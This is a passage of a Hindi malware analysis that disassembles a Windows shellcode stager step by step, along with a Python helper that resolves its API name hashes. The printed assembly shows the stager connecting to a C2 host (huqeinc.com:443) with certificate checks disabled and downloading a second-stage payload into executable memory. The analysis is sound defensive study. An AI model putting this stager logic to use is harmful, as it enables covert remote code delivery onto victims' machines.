एक साधारण प्रस्तावना के बाद (सभी रजिस्टरों को push करना और एक नया स्टैक फ्रेम बनाना), हम देखते हैं कि `edx` को (स्वयं के साथ XOR करके) शून्य किया जाता है।
फिर, `edx` को `fs:[0x30]` का पता मिलता है। यह पता [Process Environment Block (PEB)](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb) है।
PEB यूज़रमोड में एक ब्लॉक है जिसमें प्रक्रिया के लिए उपयोगी डेटा होता है, जिसमें उसकी कमांडलाइन, डिबगिंग स्थिति, लोड किए गए मॉड्यूल और अन्य शामिल हैं। यह अनावश्यक कर्नेल syscalls से बचने के लिए एक प्रदर्शन सुधार है।
हम कई पतों को संदर्भित होते देखते हैं - IDA में आप PEB संरचना लोड कर सकते हैं, लेकिन केवल पूर्णता के लिए:
- ऑफ़सेट 0xc `PEB` का `LDR` सदस्य है, जिसका प्रकार `PPEB_LDR_DATA` है, जिसे [यहाँ](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data) प्रलेखित किया गया है।
- `PEB_LDR_DATA` संरचना में ऑफ़सेट 0x14 `InMemoryOrderModuleList` सदस्य है, जिसका प्रकार `LIST_ENTRY` है। `LIST_ENTRY` संरचना का उपयोग विंडोज़ में व्यापक रूप से किया जाता है, और यह आमतौर पर एक बड़ी संरचना में केवल एक हेडर होता है। यह मामला कोई अपवाद नहीं है - प्रविष्टियों का वास्तविक प्रकार `LDR_DATA_TABLE_ENTRY` है।
- `LDR_DATA_TABLE_ENTRY` में ऑफ़सेट 0x24 पर `UNICODE_STRING` प्रकार का एक सदस्य `FullDllName` मौजूद है। उस प्रकार का उपयोग विंडोज़ में व्यापक रूप से किया जाता है, और यह अनिवार्य रूप से एक Pascal-स्ट्रिंग के लिए एक कंटेनर है - पहले दो WORD स्ट्रिंग की लंबाई और उसकी बफर क्षमता का वर्णन करते हैं। इसलिए, 0x28 पर हम वास्तविक बफर को बाइंड करेंगे - जिसे `esi` रजिस्टर में सहेजा जाएगा।
- `ecx` रजिस्टर DLL नाम बफर से ठीक 2 बाइट पहले है - और इसमें स्ट्रिंग की लंबाई होती है।
संक्षेप में, यह पूरा खंड वर्तमान PEB मॉड्यूल प्रविष्टि में `FullDllName` प्राप्त करता है - बफर को `esi` में और उसकी लंबाई को `ecx` में सहेजता है।
## मॉड्यूल नाम हैश गणना
आइए अगले कुछ निर्देशों की जाँच करें:```assembly
0x000000000000001c: 31 FF xor edi, edi
0x000000000000001e: 31 C0 xor eax, eax
0x0000000000000020: AC lodsb al, byte ptr [esi]
0x0000000000000021: 3C 61 cmp al, 0x61
0x0000000000000023: 7C 02 jl 0x27
0x0000000000000025: 2C 20 sub al, 0x20
0x0000000000000027: C1 CF 0D ror edi, 0xd
0x000000000000002a: 01 C7 add edi, eax
0x000000000000002c: E2 F0 loop 0x1e
lodsb निर्देश ही वह कारण है जिसकी वजह से स्ट्रिंग को esi में सहेजा गया था, लंबाई को ecx में सहेजा गया था और दिशा फ़्लैग को साफ़ किया गया था।
यह esi द्वारा इंगित पहले ANSI कैरेक्टर (बाइट) को पढ़ता है, esi को एक से आगे बढ़ाता है और परिणाम को al रजिस्टर में सहेजता है।
बाद के हिस्से लोअरकेस कैरेक्टर को अपरकेस में बदलते हैं - यदि ASCII कोड 0x61 ('a') से greater या equal है तो उसमें से 0x20 घटाया जाता है।
अपरकेस में बदलने के बाद, edi रजिस्टर को 0xd से दाईं ओर घुमाया जाता है और फिर उसमें कैरेक्टर का मान जोड़ दिया जाता है।
चूँकि edi को घुमाया जा रहा है - यह उन कैरेक्टरों के बारे में जानकारी खो देता है जो इसमें जोड़े गए हैं, लेकिन उनका कुछ समग्र (aggregate) अपने मान में बनाए रखता है।
दूसरे शब्दों में - edi esi द्वारा इंगित स्ट्रिंग का किसी प्रकार का हैश है। वैसे, loop निर्देश इस तथ्य का चतुराई से लाभ उठाता है कि ecx स्ट्रिंग की लंबाई का काउंटर है - यह ecx को एक से घटाता है और जब तक शून्य नहीं होता, अगला iteration करता है।
इस तर्क को Python में अनुवाद करना काफी सीधा है:```python
def get_string_hash(s):
v = 0
for c in s.upper():
v = (v >> 0xd) | ((v & 0x1fff) << 19)
v = (v + ord(c)) & 0xffffffff
return v
## एक्सपोर्ट टेबल को ट्रैवर्स करना
आइए अगले कुछ निर्देशों पर चलते हैं:```assembly
0x000000000000002e: 52 push edx
0x000000000000002f: 57 push edi
0x0000000000000030: 8B 52 10 mov edx, dword ptr [edx + 0x10]
0x0000000000000033: 8B 42 3C mov eax, dword ptr [edx + 0x3c]
0x0000000000000036: 01 D0 add eax, edx
0x0000000000000038: 8B 40 78 mov eax, dword ptr [eax + 0x78]
0x000000000000003b: 85 C0 test eax, eax
0x000000000000003d: 74 4A je 0x89
0x000000000000003f: 01 D0 add eax, edx
0x0000000000000041: 50 push eax
0x0000000000000042: 8B 48 18 mov ecx, dword ptr [eax + 0x18]
0x0000000000000045: 8B 58 20 mov ebx, dword ptr [eax + 0x20]
0x0000000000000048: 01 D3 add ebx, edx
सबसे पहले, edx (जिसमें वर्तमान मॉड्यूल एंट्री है) और edi (जिसमें इसके नाम का हैश है) को स्टैक पर बैकअप किया जाता है।
उसके बाद, edx को ऑफसेट 0x10 पर संदर्भित किया जाता है। चूँकि हम संरचना (प्रकार LDR_DATA_TABLE_ENTRY) में 8 बाइट्स अंदर हैं, 0x10 एंट्री का DllBase सदस्य है (0x18 - 0x8)।
मेमोरी में भी, मॉड्यूल के पास एक PE डेटा संरचना होती है, और ऑफसेट 0x3c DOS हेडर में PE हेडर के पॉइंटर से मेल खाता है।
हम eax को RVA के रूप में माना हुआ देख सकते हैं क्योंकि यह edx को स्वयं में जोड़ रहा है - edx मेमोरी में मॉड्यूल का बेस पता है।
इसी तरह, उससे ऑफसेट 0x78 PE एक्सपोर्ट टेबल है, जिसमें एक्सपोर्ट किए गए प्रतीकों (आमतौर पर फ़ंक्शन) के बारे में जानकारी होती है।
इसके लिए डेटा संरचना IMAGE_EXPORT_DIRECTORY कहलाती है और यह अच्छी तरह से प्रलेखित है।
यह मानते हुए कि यह शून्य नहीं है (जिसका test किया जा रहा है) - हम को पुश करते हैं और उसमें दो भागों को डीरेफरेंस करते हैं:
NumberOfNames सदस्य मिलता है।AddressOfNames सदस्य मिलता है।
तो, संक्षेप में, इस भाग ने PE को एक्सपोर्ट टेबल प्राप्त करने के लिए कुछ पार्सिंग की - और विशेष रूप से एक्सपोर्ट किए गए प्रतीकों की संख्या (ecx में) और मेमोरी में उनका पता (ebx में)।आगे बढ़ते हुए:```assembly 0x000000000000004a: E3 3C jecxz 0x88 0x000000000000004c: 49 dec ecx 0x000000000000004d: 8B 34 8B mov esi, dword ptr [ebx + ecx*4] 0x0000000000000050: 01 D6 add esi, edx
The `jecxz` निर्देश `ecx` शून्य होने पर कूदता है - यह तब होता है जब कोई निर्यातित नाम नहीं होते, लेकिन यह भी संकेत देता है कि यह जाँच एक लूप में होगी।
हम `ecx` को घटाते हैं यह संदेह की पुष्टि करता है - हम उम्मीद करते हैं कि सभी निर्यातित प्रतीकों पर किसी शर्त को मिलाने के लिए कुछ पुनरावृत्ति होगी।
हम देखते हैं कि `ecx` को 4 से गुणा करके `ebx` में जोड़ा गया है - `AddressOfNames` में सभी आइटम प्रतीक नामों के RVA हैं, और इसलिए `esi` अंततः एक निर्यातित नाम की ओर इंगित करता है।```assembly
0x0000000000000052: 31 FF xor edi, edi
0x0000000000000054: 31 C0 xor eax, eax
0x0000000000000056: AC lodsb al, byte ptr [esi]
0x0000000000000057: C1 CF 0D ror edi, 0xd
0x000000000000005a: 01 C7 add edi, eax
0x000000000000005c: 38 E0 cmp al, ah
0x000000000000005e: 75 F4 jne 0x54
यह भाग उसी हैश-गणना जैसा दिखता है जो हमने पहले देखा था, लेकिन काउंटर के रूप में ecx का उपयोग करने के बजाय - यह NUL समाप्तक तक हैश की गणना करता है:
edi को शून्य (self-XORing द्वारा) असाइन किया जाता है। पहले की तरह - edi हैश मान को बनाए रखेगा।eax रजिस्टर को भी शून्य असाइन किया जाता है। इसका निचला बाइट (al) प्रत्येक पुनरावृत्ति में वर्तमान वर्ण का ASCII कोड रखेगा।lodsb का उपयोग करके कोड al को esi द्वारा इंगित बाइट पर सेट करता है और esi को अगले बाइट तक बढ़ाता है।edi को 0xd बार दाईं ओर घुमाया जाता है और फिर उसमें वर्तमान वर्ण का ASCII मान जोड़ा जाता है।al और ah की तुलना वास्तव में al की शून्य (NUL समाप्तक) से तुलना करती है, क्योंकि यहाँ कोई ऑपरेशन eax के अन्य बाइट्स को नहीं छूता है और हमने सुनिश्चित किया है कि वे शून्य हैं।हम उम्मीद करते हैं कि अगले भाग हमारे द्वारा गणना किए गए विभिन्न हैशों (मॉड्यूल नाम, प्रतीक नाम) और हमें प्राप्त इनपुट के बीच किसी प्रकार की तुलना करेंगे:```assembly
0x0000000000000060: 03 7D F8 add edi, dword ptr [ebp - 8]
0x0000000000000063: 3B 7D 24 cmp edi, dword ptr [ebp + 0x24]
0x0000000000000066: 75 E2 jne 0x4a
0x0000000000000068: 58 pop eax
0x0000000000000069: 8B 58 24 mov ebx, dword ptr [eax + 0x24]
0x000000000000006c: 01 D3 add ebx, edx
0x000000000000006e: 66 8B 0C 4B mov cx, word ptr [ebx + ecx2]
0x0000000000000072: 8B 58 1C mov ebx, dword ptr [eax + 0x1c]
0x0000000000000075: 01 D3 add ebx, edx
0x0000000000000077: 8B 04 8B mov eax, dword ptr [ebx + ecx4]
0x000000000000007a: 01 D0 add eax, edx
0x000000000000007c: 89 44 24 24 mov dword ptr [esp + 0x24], eax
0x0000000000000080: 5B pop ebx
0x0000000000000081: 5B pop ebx
0x0000000000000082: 61 popad
0x0000000000000083: 59 pop ecx
0x0000000000000084: 5A pop edx
0x0000000000000085: 51 push ecx
0x0000000000000086: FF E0 jmp eax
ठीक है, `ebp-8` बिल्कुल उस पुराने `edi` मान की ओर इशारा करता है जिसे हमने पुश किया था - जिसमें सेट मॉड्यूल नाम का हैश था।
हम उस हैश मान को निर्यातित नाम के हैश मान के साथ जोड़ते हैं, और उसकी तुलना `ebp+0x24` पर मौजूद DWORD से करते हैं।
पहले के `pushad` निर्देश के कारण, हमने 8 रजिस्टर पुश किए थे, इसलिए यह सीधे उस आखिरी रहस्यमय मान की ओर इशारा करता है जो शुरुआत में पुश किया गया था (0x726774c)!
यदि वे बराबर नहीं हैं - तो हम उसी मॉड्यूल में अगले सिंबल पर जाने के लिए ऑफसेट `0x4a` पर कूद जाते हैं।
अन्यथा, हम एक्सपोर्ट टेबल को `eax` में पुनर्स्थापित करते हैं, 0x24 बाइट्स आगे डीरेफरेंस करते हैं (जो ऑर्डिनल टेबल है) और बेस `ebx` में जोड़ते हैं।
ऑर्डिनल टेबल में प्रत्येक एंट्री के लिए 2 बाइट्स होते हैं - और चूंकि `ecx` एंट्री नंबर है, `ebx + ecx*2` ऑर्डिनल मान है।
अगली कुछ पंक्तियाँ सीधी हैं: एक्सपोर्ट टेबल में `0x1c` निर्यातित फ़ंक्शनों का पता है, और `ebx + ecx*4` फ़ंक्शन पते को दर्शाता है जो `ecx` द्वारा अनुक्रमित है।
जैसा कि देखा जा सकता है, यह मान `eax` में सहेजा जाता है और अंततः कॉल किया जाता है:
- `eax` मान को `esp + 0x24` में सहेजना, जो इस समय बिल्कुल वही स्थान है जहाँ `pushad` निर्देश में `eax` रजिस्टर सहेजा गया था। यह सुनिश्चित करता है कि `popad` चलाने पर `eax` मान न खोए।
- पिछले दो पुशों (परिकलित हैश और मॉड्यूल एंट्री) से छुटकारा पाने के लिए `ebx` में दो डमी पॉप करना।
- `popad` करना, जो स्टैक से सभी सामान्य प्रयोजन रजिस्टरों को पुनर्स्थापित करता है, लेकिन हमारे पिछले ओवरराइड के कारण `eax` को सहेजता है। इस चरण में स्टैक और रजिस्टर फ़ंक्शन में प्रवेश करते समय उनकी मूल स्थिति के बराबर होते हैं, सिवाय `eax` के जो एक वांछित फ़ंक्शन पॉइंटर है।
- रिटर्न मान (जो `call ebp` से पुश किया गया था) को `ecx` में और वांछित हैश को `edx` में पॉप करना, और फिर `ecx` को फिर से पुश करना, अनिवार्य रूप से स्टैक से रहस्यमय हैश मान को हटाना।
- इस बिंदु पर `jmp eax` निष्पादित करने से फ़ंक्शन समाप्त होता है - `eax` द्वारा इंगित फ़ंक्शन चलेगा, और जब यह लौटेगा तो यह मूल रिटर्न मान का उपयोग करेगा।
इस लंबे तर्क का अंतिम भाग मूल रूप से अगले मॉड्यूल पर जारी रहता है:```assembly
0x0000000000000088: 58 pop eax
0x0000000000000089: 5F pop edi
0x000000000000008a: 5A pop edx
0x000000000000008b: 8B 12 mov edx, dword ptr [edx]
0x000000000000008d: EB 86 jmp 0x15
यह मूल रूप से पिछले pushes को साफ़ करेगा और offset 0x15 पर चला जाएगा, जहाँ अगला module उपयोग में आने वाला है।
संक्षेप में कहें तो - offset 6 और 0x8d (समावेशी) के बीच की पूरी shellcode उम्मीद करती है कि एक function के लिए parameters push किए जाएँ, उसके बाद एक custom hash हो। जब hash मैच हो जाता है - तो relevant function को call किया जाता है। यह निश्चित रूप से आपके code में function name strings रखने से बचने का एक बढ़िया तरीका है!
चूँकि हम उन hashes की काफी जाँच करेंगे, इसलिए अपने काम को automate करना अच्छा रहेगा। आइए उन Python scripts को दोबारा उपयोग करें जो हमने पहले बनाए थे और एक function लिखें जो दिए गए hash को खोजता है:```python import os import pefile import sys
BASE_DIR = os.path.join(os.environ['WINDIR'], 'system32')
def get_string_hash(s): v = 0 for c in s: v = (v >> 0xd) | ((v & 0x1fff) << 19) v = (v + ord(c)) & 0xffffffff return v
def get_lib_hash(s): return get_string_hash(''.join([ i + '\x00' for i in (s + '\x00').upper() ]))
def get_sym_hash(s): return get_string_hash(s + '\x00')
def find_by_hash(hash, dll_postfix): for dll_name in os.listdir(BASE_DIR): if not dll_name.endswith(dll_postfix): continue dll_path = os.path.join(BASE_DIR, dll_name) dll_hash = get_lib_hash(dll_name) pe = pefile.PE(dll_path) if pe is None or not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'): continue syms = [ sym.name.decode() for sym in pe.DIRECTORY_ENTRY_EXPORT.symbols if sym.name is not None ] for s in syms: if (get_sym_hash(s) + dll_hash) & 0xFFFFFFFF == hash: print('%s!%s' % (dll_name, s)) return print('Coult not find hash!')
if name == 'main': if len(sys.argv) > 1: dll_postfix = '.dll' if len(sys.argv) == 2 else sys.argv[2] num = int(sys.argv[1], 16) if 'x' in sys.argv[1] else int(sys.argv[1]) find_by_hash(num, dll_postfix)
उदाहरण के लिए, जब हम `get_hash.py 0x726774c kernel32.dll` चलाते हैं तो हमें आउटपुट `kernel32.dll!LoadLibraryA` मिलता है!
## मुख्य लॉजिक का विश्लेषण
अब जब हम समझ गए हैं कि पूरी हैशिंग कार्यक्षमता कैसे काम करती है, तो हैश-हंटिंग का समय आ गया है!
आइए मुख्य लॉजिक पर वापस चलते हैं - हमने कहा था कि स्ट्रिंग `wininet` को स्टैक पर पुश किया जाता है - और अब हम जानते हैं कि `LoadLibraryA` को इसके साथ कॉल किया जाता है।
अगले भाग अब हैं:```assembly
0x00000000000000a2: E8 00 00 00 00 call 0xa7
0x00000000000000a7: 31 FF xor edi, edi
0x00000000000000a9: 57 push edi
0x00000000000000aa: 57 push edi
0x00000000000000ab: 57 push edi
0x00000000000000ac: 57 push edi
0x00000000000000ad: 57 push edi
0x00000000000000ae: 68 3A 56 79 A7 push 0xa779563a
0x00000000000000b3: FF D5 call ebp
call वहाँ रिटर्न एड्रेस को स्टैक पर धकेलता है (0xa7)।
फिर, हम edi को शून्य करते हैं और स्टैक में 5 zeros डालते हैं। 0xa779563a एक और हैश है, इस बार wininet.dll में, जैसा कि get_hash.py 0xa779563a देता है wininet.dll!InternetOpenA।
इसलिए, कोड InternetOpenA को सभी zeros और NULLs के साथ कॉल करता है।
कुछ jumps हैं जो offset 0xba पर वापस कॉल में समाप्त होते हैं:```assembly
0x00000000000000b5: E9 A4 00 00 00 jmp 0x15e
0x00000000000000ba: 5B pop ebx
...
0x000000000000015e: E9 C9 01 00 00 jmp 0x32c
...
0x000000000000032c: E8 89 FD FF FF call 0xba
0x0000000000000331: 68 75 71 65 69 push 0x69657175
0x0000000000000336: E6 outs dx, byte ptr ds:[esi]
...
विचार यह है कि जब हम लौटेंगे - हमारे पास ऑफसेट `0x331` का पता पुश किया हुआ होगा।
मैंने उस पते पर कुछ असेंबली निर्देश जोड़े हैं - ध्यान दें कि `outs`, उदाहरण के लिए, ऐसा कुछ नहीं है जिसकी हम उम्मीद करें।
उन बाइट्स को *डेटा* के रूप में जांचने पर एक अलग कहानी मिलती है:```python
binascii.unhexlify('68757165696e632e636f6d005d44fd6d')
यह स्ट्रिंग huqeinc.com (NUL टर्मिनेटर के साथ) उत्पन्न करता है, उसके बाद 4 अस्पष्ट बाइट्स होते हैं।
इसलिए, जब हम एड्रेस 0xba पर वापस जाते हैं तो हम ebx पर पॉप करते हैं, जो उस स्ट्रिंग की ओर इंगित करेगा।
आइए उस निर्देश के बाद के हिस्सों की जाँच करें:```assembly
0x00000000000000bb: 31 C9 xor ecx, ecx
0x00000000000000bd: 51 push ecx
0x00000000000000be: 51 push ecx
0x00000000000000bf: 6A 03 push 3
0x00000000000000c1: 51 push ecx
0x00000000000000c2: 51 push ecx
0x00000000000000c3: 68 BB 01 00 00 push 0x1bb
0x00000000000000c8: 53 push ebx
0x00000000000000c9: 50 push eax
0x00000000000000ca: 68 57 89 9F C6 push 0xc69f8957
0x00000000000000cf: FF D5 call ebp
`0xc69f8957` मान एक और हैश है, इस बार `wininet.dll!InternetConnectA` के लिए।
उस फ़ंक्शन को बहुत सारे पैरामीटर मिलते हैं, लेकिन मूल रूप से हमें यह मिलता है: `InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL)`।
ध्यान दें कि `INTERNET_SERVICE_HTTP` का मान 3 है, `0x1bb` का मान 443 है, और `eax` में `InternetOpenA` का परिणाम था।
आगे बढ़ते हुए, हम `InternetConnectA` के परिणाम को बैकअप करने के बाद इसी तरह के जंप का एक सेट देखते हैं:```assembly
0x00000000000000d1: 50 push eax
0x00000000000000d2: E9 8C 00 00 00 jmp 0x163
0x00000000000000d7: 5B pop ebx
0x00000000000000d8: 31 D2 xor edx, edx
0x00000000000000da: 52 push edx
0x00000000000000db: 68 00 32 C0 84 push 0x84c03200
0x00000000000000e0: 52 push edx
0x00000000000000e1: 52 push edx
0x00000000000000e2: 52 push edx
0x00000000000000e3: 53 push ebx
0x00000000000000e4: 52 push edx
0x00000000000000e5: 50 push eax
0x00000000000000e6: 68 EB 55 2E 3B push 0x3b2e55eb
0x00000000000000eb: FF D5 call ebp
...
0x0000000000000163: E8 6F FF FF FF call 0xd7
0x0000000000000168: 2F das
0x0000000000000169: 51 push ecx
0x000000000000016a: 70 59 jo 0x1c5
...
बिल्कुल पहले की तरह, कॉल के बाद के निर्देश कम समझ में आते हैं, इसलिए हमें संदेह है कि उन्हें डेटा के रूप में व्याख्या किया जाना चाहिए।
वास्तव में, वे NUL-समाप्त स्ट्रिंग /QpYB को एन्कोड करते हैं, जो बहुत मददगार नहीं है। हम ध्यान देते हैं कि जब हम ऑफसेट 0xd7 पर वापस पहुँचते हैं, उस स्ट्रिंग का एक पॉइंटर स्टैक पर push किया जाता है।
0xd7 पर वापस जाने पर, वह पता ebx में pop होता है। यह समझने के लिए कि वह डेटा क्या मतलब रखता है, आइए जानें कि कौन सा फ़ंक्शन कॉल किया गया है।
हैश 0x3b2e55eb wininet.dll!HttpOpenRequestA देता है, जिसे भी कई पैरामीटर मिलते हैं।
उनमें से अधिकांश पैरामीटर NULL होंगे (edx के push के कारण), निम्नलिखित को छोड़कर:
hConnect eax है, जो InternetConnectA का परिणाम है।lpszObjectName वह स्ट्रिंग है जो हमने देखी थी (/QpYB)।dwFlags में मान 0x84c03200 है, जो इस के अनुसार INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD है।अगले कुछ निर्देश एक और API कॉल के साथ समाप्त होते हैं:```assembly 0x00000000000000ed: 89 C6 mov esi, eax 0x00000000000000ef: 83 C3 50 add ebx, 0x50 0x00000000000000f2: 68 80 33 00 00 push 0x3380 0x00000000000000f7: 89 E0 mov eax, esp 0x00000000000000f9: 6A 04 push 4 0x00000000000000fb: 50 push eax 0x00000000000000fc: 6A 1F push 0x1f 0x00000000000000fe: 56 push esi 0x00000000000000ff: 68 75 46 9E 86 push 0x869e4675 0x0000000000000104: FF D5 call ebp
`HttpOpenRequestA` से प्राप्त परिणामों को `esi` में बैकअप करने के बाद, हम `ebx` में 0x50 जोड़ते हैं।
चूँकि `ebx` कॉलों के बीच बना रहने की गारंटी है, यह अब शेलकोड में ऑफसेट `0x1b8` की ओर इंगित करेगा, जो स्ट्रिंग के रूप में प्रस्तुत करने पर इस प्रकार दिखता है: `User-Agent: Microsoft-CryptoAPI/6.1\r\n`।
हैश `0x869e4675` API `wininet.dll!InternetSetOptionA` को हल करता है, जिसे निम्नलिखित तर्क मिलेंगे:
- वह अनुरोध हैंडल जो `esi` में सहेजा गया था।
- `dwOption` के रूप में मान `0x1f`, जो [इस](https://learn.microsoft.com/en-us/windows/win32/wininet/option-flags) के अनुसार `INTERNET_OPTION_SECURITY_FLAGS` है।
- `lpBuffer` पैरामीटर मान `0x3380` की ओर एक पॉइंटर होगा, जो अनुरोध के लिए सुरक्षा फ्लैग एन्कोड करता है: `WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID`।
- `dwBufferLength` 4 है, क्योंकि `lpBuffer` के रूप में केवल एक DWORD सेट किया गया था।
यह कनेक्शन को TLS उपयोग करने में सक्षम करेगा लेकिन सभी प्रमाणपत्र त्रुटियों आदि को अनदेखा करेगा।
अगले भाग ये हैं:```assembly
0x0000000000000106: 5F pop edi
0x0000000000000107: 31 FF xor edi, edi
0x0000000000000109: 57 push edi
0x000000000000010a: 57 push edi
0x000000000000010b: 6A FF push -1
0x000000000000010d: 53 push ebx
0x000000000000010e: 56 push esi
0x000000000000010f: 68 2D 06 18 7B push 0x7b18062d
0x0000000000000114: FF D5 call ebp
0x0000000000000116: 85 C0 test eax, eax
0x0000000000000118: 0F 84 CA 01 00 00 je 0x2e8
0x000000000000011e: 31 FF xor edi, edi
0x0000000000000120: 85 F6 test esi, esi
0x0000000000000122: 74 04 je 0x128
0x0000000000000124: 89 F9 mov ecx, edi
0x0000000000000126: EB 09 jmp 0x131
0x0000000000000128: 68 AA C5 E2 5D push 0x5de2c5aa
0x000000000000012d: FF D5 call ebp
0x000000000000012f: 89 C1 mov ecx, eax
0x0000000000000131: 68 45 21 5E 31 push 0x315e2145
0x0000000000000136: FF D5 call ebp
0x0000000000000138: 31 FF xor edi, edi
0x000000000000013a: 57 push edi
0x000000000000013b: 6A 07 push 7
0x000000000000013d: 51 push ecx
0x000000000000013e: 56 push esi
0x000000000000013f: 50 push eax
0x0000000000000140: 68 B7 57 E0 0B push 0xbe057b7
0x0000000000000145: FF D5 call ebp
0x0000000000000147: BF 00 2F 00 00 mov edi, 0x2f00
0x000000000000014c: 39 C7 cmp edi, eax
0x000000000000014e: 75 07 jne 0x157
0x0000000000000150: 58 pop eax
0x0000000000000151: 50 push eax
0x0000000000000152: E9 7B FF FF FF jmp 0xd2
0x0000000000000157: 31 FF xor edi, edi
0x0000000000000159: E9 91 01 00 00 jmp 0x2ef
पहले के अत्यधिक push को साफ करने के लिए एक डमी pop है (हमने security options को stack पर push किया था)।
चूँकि हम एक और हैश (0x7b18062d) देखते हैं, हम तुरंत इसका API resolve करते हैं: wininet.dll!HttpSendRequestA।
यहाँ कुछ उल्लेखनीय भाग हैं:
ebx में सहेजा गया user agent फ़ंक्शन के दूसरे argument के रूप में उपयोग किया जाता है।0x2e8 पर jump करते हैं।esi शून्य है, वास्तव में यह जाँचता है कि request handle NULL नहीं है। यह काफी अजीब है क्योंकि हम इस बिंदु पर पहले ही HttpSendRequestA invoke कर चुके हैं, लेकिन फिर भी - यदि ऐसा होता, तो हम 0x128 पर jump करते हैं।0x128 पर हम हैश 0x5de2c5aa का उपयोग करते हैं, जो kernel32.dll!GetLastError है, और इसका परिणाम ecx में सहेजते हैं।0x131 पर हम हैश 0x315e2145 का उपयोग करते हैं, जो user32.dll!GetDesktopWindow है, और फिर उस परिणाम को हैश 0xbe057b7 के साथ उपयोग करते हैं, जो है।विचार केवल InternetErrorDlg को कॉल करना और यह देखना है कि retry आवश्यक है या नहीं।
आइए यह भी याद करें: यदि HttpSendRequestA विफल हो जाता है - तो हम 0x2e8 पर jump करते हैं। यदि यह सफल हो जाता है और retry आवश्यक नहीं है - तो हम 0x2ef पर jump करते हैं।
Offset 0x2e8 (विफलता पथ) की जाँच करना:```assembly
0x00000000000002e8: 68 F0 B5 A2 56 push 0x56a2b5f0
0x00000000000002ed: FF D5 call ebp
हैश `kernel32.dll!ExitProcess` में अनुवादित होता है, इसलिए विफलता पर - हम प्रक्रिया से बाहर निकल जाते हैं।
यह पूरा भाग इस प्रकार अनुवादित किया जा सकता है:```c
if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0))
{
ExitProcess(0);
}
if (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA, NULL))
{
goto lblRetryConn;
}
...
आइए देखें कि ऑफसेट 0x2ef पर क्या होता है:```assembly
0x00000000000002ef: 6A 40 push 0x40
0x00000000000002f1: 68 00 10 00 00 push 0x1000
0x00000000000002f6: 68 00 00 40 00 push 0x400000
0x00000000000002fb: 57 push edi
0x00000000000002fc: 68 58 A4 53 E5 push 0xe553a458
0x0000000000000301: FF D5 call ebp
0x0000000000000303: 93 xchg ebx, eax
0x0000000000000304: B9 00 00 00 00 mov ecx,0x0
0x0000000000000309: 01 D9 add ecx,ebx
0x000000000000030b: 51 push ecx
0x000000000000030c: 53 push ebx
0x000000000000030d: 89 E7 mov edi, esp
0x000000000000030f: 57 push edi
0x0000000000000310: 68 00 20 00 00 push 0x2000
0x0000000000000315: 53 push ebx
0x0000000000000316: 56 push esi
0x0000000000000317: 68 12 96 89 E2 push 0xe2899612
0x000000000000031c: FF D5 call ebp
0x000000000000031e: 85 C0 test eax, eax
0x0000000000000320: 74 C6 je 0x2e8
क्या आप अनुमान लगा सकते हैं कि हैश `0xe553a458` केवल उन अन्य स्थिरांकों के आधार पर क्या है?
- `0x40` `PAGE_EXECUTEREADWRITE` है, जैसा कि हमने पहले देखा।
- `0x1000` `MEM_COMMIT` है।
वास्तव में, वह हैश `kernel32.dll!VirtualAlloc` से मेल खाता है, और हम केवल `0x400000` आकार का एक RWX ब्लॉक आवंटित करते हैं।
यहाँ हमलावर के तर्क का अनुमान लगाना महत्वपूर्ण है - चूँकि हमारे पास किसी C2 सर्वर से इंटरनेट कनेक्शन है, और अब हम एक RWX पेज आवंटित करते हैं - हम एक और पेलोड प्राप्त करने की उम्मीद करते हैं!
उस कॉल के बाद, परिणामी मेमोरी बफर `ebx` और `ecx` में सहेजा जाता है।
ऑफसेट `0x30b` पर हम एक फ़ंक्शन कॉल के लिए स्टैक पुश का एक और सेट शुरू करते हैं - इस बार हैश `0xe2899612` (`wininet.dll!InternetReadFile`) के साथ।
पुश पैरामीटर निर्धारित करते हैं (उल्टे क्रम में):
- `hFile` `esi` है, जो हमारा इंटरनेट अनुरोध था (प्रकार `HINTERNET` का)।
- `lpBuffer` `ebx` है - हमारा नया आवंटित बफर।
- `dwNumberOfBytesToRead` को `0x2000` सेट किया गया है।
- `lpdwNumberOfBytesRead` `edi` है, जो हमारे द्वारा स्टैक पर आवंटित अतिरिक्त स्थान की ओर इशारा करता है।
अंत में, यदि यह फ़ंक्शन विफल हो जाता है तो हम `0x2e8` पर कूद जाते हैं, जो फिर से `ExitProcess` को कॉल करेगा।
ध्यान दें कि `ecx` का एक अतिरिक्त `push` निर्देश है (ऑफसेट `0x30b`) - इसका मतलब है कि हमने अपने आवंटित बफर का पता बैकअप कर लिया है।
हम लगभग अंत में हैं! आइए अंतिम कुछ निर्देशों की जाँच करें:```assembly
0x0000000000000322: 8B 07 mov eax, dword ptr [edi]
0x0000000000000324: 01 C3 add ebx, eax
0x0000000000000326: 85 C0 test eax, eax
0x0000000000000328: 75 E5 jne 0x30f
0x000000000000032a: 58 pop eax
0x000000000000032b: C3 ret
खैर, edi पढ़े गए बाइट्स की संख्या की ओर इशारा करता था - इसे डीरेफ़रेंस करके eax में डाला जाता है।
फिर, हम उस मान को ebx में जोड़ते हैं, जो संरक्षित रहता है और हमारे RWX मेमोरी क्षेत्र की ओर इशारा करता है।
यदि eax शून्य नहीं है तो इसका मतलब है कि कुछ बाइट्स पढ़े गए थे, इसलिए हम और डेटा पढ़ने के लिए फिर से 0x30f पर कूदते हैं।
